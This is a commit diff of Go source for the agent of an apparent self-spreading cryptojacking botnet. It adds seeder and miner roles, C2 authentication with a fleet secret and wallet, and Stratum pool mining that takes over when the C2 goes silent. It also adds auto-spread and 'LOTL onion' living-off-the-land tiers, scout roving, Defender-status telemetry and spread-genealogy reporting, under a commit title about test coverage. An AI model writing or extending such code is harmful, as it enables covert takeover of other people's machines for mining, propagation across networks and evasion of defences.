Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -66,6 +66,10 @@ type AgentClient struct {
|
||||
adaptiveStrategy AdaptiveStrategy
|
||||
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
|
||||
atlasSkips []AtlasSkip
|
||||
// atlasLanGossipEnabled is opt-in via server auth policy.
|
||||
atlasLanGossipEnabled bool
|
||||
// gossipSent dedupes LAN gossip broadcasts per tier+condition.
|
||||
gossipSent map[string]struct{}
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
@@ -75,6 +79,10 @@ type AgentClient struct {
|
||||
joinLane string
|
||||
// clearanceLevel is the server-granted security clearance (L0–L4).
|
||||
clearanceLevel int
|
||||
// fleetRoleHintVal is the server-pulled role for fleet_role=auto forges.
|
||||
fleetRoleHintVal string
|
||||
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
|
||||
lanSeeders []deploy.LANSeederHint
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -116,23 +124,31 @@ func (c *AgentClient) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
isSeeder := c.cfg.IsSeederRole(c.fleetRoleHint())
|
||||
|
||||
if !isSeeder {
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
}
|
||||
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if deploy.WantsDeferMining() {
|
||||
if isSeeder {
|
||||
deploy.StartSeederStaging(c.cfg)
|
||||
} else if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
}
|
||||
defer c.miningChain.Stop()
|
||||
if !isSeeder {
|
||||
defer c.miningChain.Stop()
|
||||
}
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
// Start AI Autonomy runner if enabled (miners only — seeders have no pool).
|
||||
if c.cfg.AIEnabled && !isSeeder {
|
||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||
c.aiRunner.shareStats = func() (int, int) {
|
||||
c.mu.Lock()
|
||||
@@ -151,17 +167,19 @@ func (c *AgentClient) Run() error {
|
||||
defer c.mesh.Stop()
|
||||
}
|
||||
|
||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||
fallbackDone := make(chan struct{})
|
||||
fallbackManagerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(fallbackManagerDone)
|
||||
c.stratumFallbackManager(fallbackDone)
|
||||
}()
|
||||
defer func() {
|
||||
close(fallbackDone)
|
||||
<-fallbackManagerDone
|
||||
}()
|
||||
if !isSeeder {
|
||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||
fallbackDone := make(chan struct{})
|
||||
fallbackManagerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(fallbackManagerDone)
|
||||
c.stratumFallbackManager(fallbackDone)
|
||||
}()
|
||||
defer func() {
|
||||
close(fallbackDone)
|
||||
<-fallbackManagerDone
|
||||
}()
|
||||
}
|
||||
|
||||
// Build deduped server list: primary first, then backups.
|
||||
// On each failure we advance to the next URL so the fleet never
|
||||
@@ -179,7 +197,9 @@ func (c *AgentClient) Run() error {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.pool != nil {
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
}
|
||||
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||
if err := c.beaconOnce(target); err != nil {
|
||||
@@ -332,7 +352,7 @@ func (c *AgentClient) authenticate() error {
|
||||
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||
}
|
||||
|
||||
payload, _ := json.Marshal(AuthPayload{
|
||||
authPayload := AuthPayload{
|
||||
AgentID: c.agentID,
|
||||
FleetSecret: c.cfg.FleetSecret,
|
||||
Wallet: c.cfg.Wallet,
|
||||
@@ -365,7 +385,14 @@ func (c *AgentClient) authenticate() error {
|
||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||
JoinLane: c.getJoinLane(),
|
||||
})
|
||||
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
|
||||
SeederMode: c.cfg.SeederMode,
|
||||
}
|
||||
parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(c.getJoinLane())
|
||||
authPayload.ParentAgentID = parentID
|
||||
authPayload.SpreadGeneration = spreadGen
|
||||
authPayload.SpreadStrain = spreadStrain
|
||||
payload, _ := json.Marshal(authPayload)
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -389,6 +416,7 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.applyAuthFleetRole(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
@@ -398,10 +426,17 @@ func (c *AgentClient) authenticate() error {
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
c.cfg.LotlOnionTiers = config.FilterSeederLotlTiers(c.cfg.LotlOnionTiers)
|
||||
}
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
if seeders := c.lanSeedersSnapshot(); len(seeders) > 0 {
|
||||
localIP, _ := deploy.PrimaryLocalIPv4()
|
||||
deploy.SetLANSeederHints(seeders, localIP)
|
||||
}
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
@@ -415,6 +450,10 @@ func (c *AgentClient) authenticate() error {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if cfg.ScoutMode {
|
||||
c.startScoutRoving()
|
||||
return
|
||||
}
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
@@ -422,12 +461,14 @@ func (c *AgentClient) authenticate() error {
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
}
|
||||
if cfg.LotlOnionEnabled {
|
||||
if cfg.LotlOnionEnabled && !cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
deploy.StartLotlOnion(cfg)
|
||||
}
|
||||
})
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -508,6 +549,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
c.clearanceLevel = payload.ClearanceLevel
|
||||
c.mu.Unlock()
|
||||
}
|
||||
case "atlas_gossip":
|
||||
c.handleAtlasGossip(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
@@ -1128,6 +1171,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
Wallet: a.Wallet,
|
||||
}
|
||||
}
|
||||
c.maybeGossipFromAttempts(stats.LOTLAttempts, stats.DefenderEnabled)
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||
@@ -1150,6 +1194,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
stats.AtlasSkips = atlasSkips
|
||||
}
|
||||
@@ -1173,6 +1218,14 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
if lane := c.getJoinLane(); lane != "" {
|
||||
stats.JoinLane = lane
|
||||
}
|
||||
parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(stats.JoinLane)
|
||||
stats.ParentAgentID = parentID
|
||||
stats.SpreadGeneration = spreadGen
|
||||
stats.SpreadStrain = spreadStrain
|
||||
role, seedP, hrP := c.fleetPressureFields(stats.MiningHashrate, stats.JoinLane)
|
||||
stats.FleetRole = role
|
||||
stats.SeedPressure = seedP
|
||||
stats.HashratePressure = hrP
|
||||
payload, _ := json.Marshal(stats)
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
|
||||
Reference in New Issue
Block a user